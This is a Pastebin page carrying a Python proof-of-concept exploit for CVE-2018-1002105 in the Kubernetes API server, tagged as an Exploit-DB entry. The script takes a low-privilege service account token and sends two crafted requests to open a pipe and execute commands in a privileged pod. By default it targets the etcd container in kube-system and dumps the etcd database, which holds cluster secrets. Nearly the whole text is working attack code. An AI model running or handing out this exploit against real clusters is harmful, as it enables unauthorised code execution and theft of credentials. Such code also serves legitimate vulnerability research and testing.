SHARE
TWEET

EDB-ID-46053

TVT618 Dec 30th, 2018 (edited) 367 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python3
  2. import argparse
  3. from ssl import wrap_socket
  4. from socket import create_connection
  5. from secrets import base64, token_bytes
  6.  
  7.  
  8. def request_stage_1(namespace, pod, method, target, token):
  9.  
  10.     stage_1 = ""
  11.  
  12.     with open('stage_1', 'r') as stage_1_fd:
  13.         stage_1 = stage_1_fd.read()
  14.  
  15.     return stage_1.format(namespace, pod, method, target,
  16.                           token).encode('utf-8')
  17.  
  18.  
  19. def request_stage_2(target, namespace, pod, container, command):
  20.  
  21.     stage_2 = ""
  22.  
  23.     command = f"command={'&command='.join(command.split(' '))}"
  24.  
  25.     with open('stage_2', 'r') as stage_2_fd:
  26.         stage_2 = stage_2_fd.read()
  27.  
  28.     key = base64.b64encode(token_bytes(20)).decode('utf-8')
  29.  
  30.     return stage_2.format(namespace, pod, container, command,
  31.                           target, key).encode('utf-8')
  32.  
  33.  
  34. def run_exploit(target, stage_1, stage_2, method, filename, ppod,
  35.                 container):
  36.  
  37.     host, port = target.split(':')
  38.  
  39.     with create_connection((host, port)) as sock:
  40.  
  41.         with wrap_socket(sock) as ssock:
  42.             print(f"[*] Building pipe using {method}...")
  43.             ssock.send(stage_1)
  44.  
  45.             if b'400 Bad Request' in ssock.recv(4096):
  46.                 print('[+] Pipe opened :D')
  47.  
  48.             else:
  49.                 print('[-] Not sure if this went well...')
  50.  
  51.             print(f"[*] Attempting code exec on {ppod}/{container}")
  52.             ssock.send(stage_2)
  53.  
  54.             if b'HTTP/1.1 101 Switching Protocols' not in ssock.recv(4096):
  55.                 print('[-] Exploit failed :(')
  56.  
  57.                 return False
  58.  
  59.             data_incoming = True
  60.  
  61.             data = []
  62.  
  63.             while data_incoming:
  64.                 data_in = ssock.recv(4096)
  65.                 data.append(data_in)
  66.  
  67.                 if not data_in:
  68.                     data_incoming = False
  69.  
  70.             if filename:
  71.                 print(f"[*] Writing output to {filename} ....")
  72.  
  73.                 with open(filename, 'wb+') as fd:
  74.                     for msg in data:
  75.                         fd.write(msg)
  76.  
  77.                     print('[+] Done!')
  78.  
  79.             else:
  80.                 print(''.join(msg.decode('unicode-escape')
  81.                               for msg in data))
  82.  
  83.  
  84. def main():
  85.  
  86.     parser = argparse.ArgumentParser(description='PoC for CVE-2018-1002105.')
  87.  
  88.     required = parser.add_argument_group('required arguments')
  89.     optional = parser.add_argument_group('optional arguments')
  90.  
  91.     required.add_argument('--target', '-t', dest='target', type=str,
  92.                           help='API server target:port', required=True)
  93.     required.add_argument('--jwt', '-j', dest='token', type=str,
  94.                           help='JWT token for service account', required=True)
  95.     required.add_argument('--namespace', '-n', dest='namespace', type=str,
  96.                           help='Namespace with method access',
  97.                           default='default')
  98.     required.add_argument('--pod', '-p', dest='pod', type=str,
  99.                           required=True, help='Pod with method access')
  100.     required.add_argument('--method', '-m', dest='method', choices=['exec',
  101.                           'portforward', 'attach'], required=True)
  102.  
  103.     optional.add_argument('--privileged-namespace', '-s', dest='pnamespace',
  104.                           help='Target namespace', default='kube-system')
  105.     optional.add_argument('--privileged-pod', '-e', dest='ppod', type=str,
  106.                           help='Target privileged pod',
  107.                           default='etcd-kubernetes')
  108.     optional.add_argument('--container', '-c', dest='container', type=str,
  109.                           help='Target container', default='etcd')
  110.     optional.add_argument('--command', '-x', dest='command', type=str,
  111.                           help='Command to execute',
  112.                           default='/bin/cat /var/lib/etcd/member/snap/db')
  113.     optional.add_argument('--filename', '-f', dest='filename', type=str,
  114.                           help='File to save output to', default=False)
  115.  
  116.     args = parser.parse_args()
  117.  
  118.     if args.target.find(':') == -1:
  119.         print(f"[-] invalid target {args.target}")
  120.         return False
  121.  
  122.     stage1 = request_stage_1(args.namespace, args.pod, args.method, args.target,
  123.                              args.token)
  124.     stage2 = request_stage_2(args.target, args.pnamespace, args.ppod,
  125.                              args.container, args.command)
  126.  
  127.     run_exploit(args.target, stage1, stage2, args.method, args.filename,
  128.                 args.ppod, args.container)
  129.  
  130.  
  131. if __name__ == '__main__':
  132.     main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top